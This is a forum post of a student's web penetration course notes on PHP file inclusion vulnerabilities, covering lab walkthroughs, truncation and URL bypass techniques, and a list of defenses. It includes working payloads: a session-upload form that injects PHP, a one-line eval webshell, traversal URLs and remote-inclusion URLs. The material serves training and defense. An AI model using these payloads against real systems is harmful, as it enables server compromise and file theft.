发帖
 找回密码
 立即注册
搜索
0 0

分享 WEB渗透系统班-文件包含漏洞靶场(三)+文件包含漏洞绕过&防御

技术分享 1105 0 2025-9-5 15:51:36
[i=s] 本帖最后由 zeke 于 2025-9-5 15:51 编辑 [/i]

WEB渗透测试工程师系统班250303期
第33节课作业
1.实操课程内讲解的文件包含漏洞靶场并截图。
Level 14 LFI_日志文件包含_Apache
①抓包,改file参数,将phpinfo打入
14.1.png
②访问日志
14.2.png

Level 15 LFI_Session文件包含
session 传参可控
服务端还需要有文件包含漏洞
这个漏洞可以有两种利用,为了方便两种利用方式应该都可以实现

<!doctype html>
<html>
<body>
<form action="http://URL/index.php" method="post" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" vaule="<?php phpinfo();?>" />
    <input type="file" name="file1" />
    <input type="file" name="file2" />
    <input type="submit" />
</form>
</body>
</html>

默认位置:/var/lib/sessions/sess_{PHPSESSID}
/var/lib/sessions/sess_hello

phpmyadmin 文件包含(CVE-2014-8959)
描述: phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。 访问http://ip:port/pma即可进入phpmyadmin。http://ip:port/下有测试账号密码,包含根目录下1.gif,其内容为:
<?php@eval($_POST[a]);?>vulfocus.png

2.文件包含的绕过方式有哪些?
%00截断文件包含
路径长度截断文件包含
点号截断文件包含

3.文件包含的防御修复方式有哪些?

  1. 多场景中都需要去包含web目录之外的文件,如果PHP配置了open_basedir,则会包含失败
  2. 做好文件的权限管理
  3. 对危险字符进行过滤等等
  4. 隐藏文件路径
  5. 设置文件访问、执行权限
  6. 在不必须的情况下关闭allow_url_include选项
  7. 使用白名单和黑名单对可包含的文件进行限制
  8. 尽量不使用动态包含
  9. 在服务端和客户端都进行过滤
  10. 直接将文件写死,只要不是白名单里的这几个文件,一律不执行,很容易就避免了漏洞

4.复现vulfocus内(CVE-2019-8942)、(CVE-2015-4553)靶场并截图
暂时弄不下来

一、笔记标题:WEB渗透系统班-文件包含漏洞靶场(三)+文件包含漏洞绕过&防御

二、文章内容:

1.课程内容概要

主要知识点1:
有限制本地文件包含漏洞
有限制本地文件包含漏洞是指代码中为包含文件指定了特定的前缀或者拓展名,攻击者必须要对前缀或者拓展名过滤,才能达到利用文件包含漏洞读取操作。

常见的过滤绕过方式有三种:

  • %00 截断文件包含
  • 路径长度截断包含
  • 点好截断文件包含

%00截断文件包含

利用条件

这个漏洞的使用必须满足如下条件

  • magic_quotes_gpc=off
  • PHP版本低于5.3.4

示例代码

<?php
	$file=$_GET['file'];
	include ($file.".html");
?>

测试结果

输入以下测试代码:
http://www.abc.com/xxx/file.php?file=../../../../../../boot.ini%00
通过%00截断了后面的html拓展名过滤,成功读取了boot.ini的内容

路径长度截断文件包含

操作系统存在着最大路径长度的限制。可以输入超过最大路劲长度的目录,这样系统就会将后面的路劲丢弃,导致拓展名截断。

漏洞利用条件

  • Windows下最大路径长度为256B

1.php./././././././././././html

  • Linux下最大路径长度为4096B

示例代码

<?php
    $file=$_GET['file'];
    include ($file.".html");
?>

测试结果

输入测试以下代码:

http://www.abc.com/xxx/file.php?file=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

执行后发现已经成功截断了后面的拓展名

点号截断文件包含

漏洞利用条件

点号截断包含****只使用与Windows系统,点号的长度大于256B的时候,就可以造成拓展名截断

示例代码

<?php
    $file=$_GET['file'];
    include ($file.".html");
?>

测试结果

http://www.abc.com/xxx/file.php?file=test.txt.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

发现已经成功截断了html拓展名

主要知识点2:
有限制的远程文件包含
有限制的远程文件包含是代码中存在特定的前缀和后缀.php /.html 等拓展名过滤的时候,攻击者需要绕过前缀或者拓展名过滤,才能远程执行URL代码 ** **示例代码如下

include($_GET['filename'].".html");

通常有限制的远程文件包含可以通过问号、井号、空格绕过

通过问号绕过

可以在问号后面添加html字符串,问号后面的拓展名会被当做查询,从而绕过过滤 ** **http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt?

通过井号绕过

# 锚点 网页目录(分页显示)

可以在#后面添加HTML字符串,#会截断后面的拓展名,从而绕过拓展名过滤.#的URL编码为%23 ** **http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt%23

通过空格绕过

http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt%20

主要知识点3:
文件共享包含绕过
smb.png

2.重点知识与细节

概念解析
概念1:文件包含防御

  1. 多场景中都需要去包含web目录之外的文件,如果PHP配置了open_basedir,则会包含失败
  2. 做好文件的权限管理
  3. 对危险字符进行过滤等等
  4. 隐藏文件路径
  5. 设置文件访问、执行权限
  6. 在不必须的情况下关闭allow_url_include选项
  7. 使用白名单和黑名单对可包含的文件进行限制
  8. 尽量不使用动态包含
  9. 在服务端和客户端都进行过滤
  10. 直接将文件写死,只要不是白名单里的这几个文件,一律不执行,很容易就避免了漏洞
    关键步骤
    步骤1:无
    步骤2:
    步骤3:
    相关代码

3.实操练习 和 解析

如作业

4.个人总结

本节课最大的收获是:对文件包含进行了收尾,学习了绕过和防御方式
仍然存在疑问的地方:一些包含漏洞的场景
需要课后深入学习的内容:更多文件包含漏洞的场景

──── 0人觉得很赞 ────

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回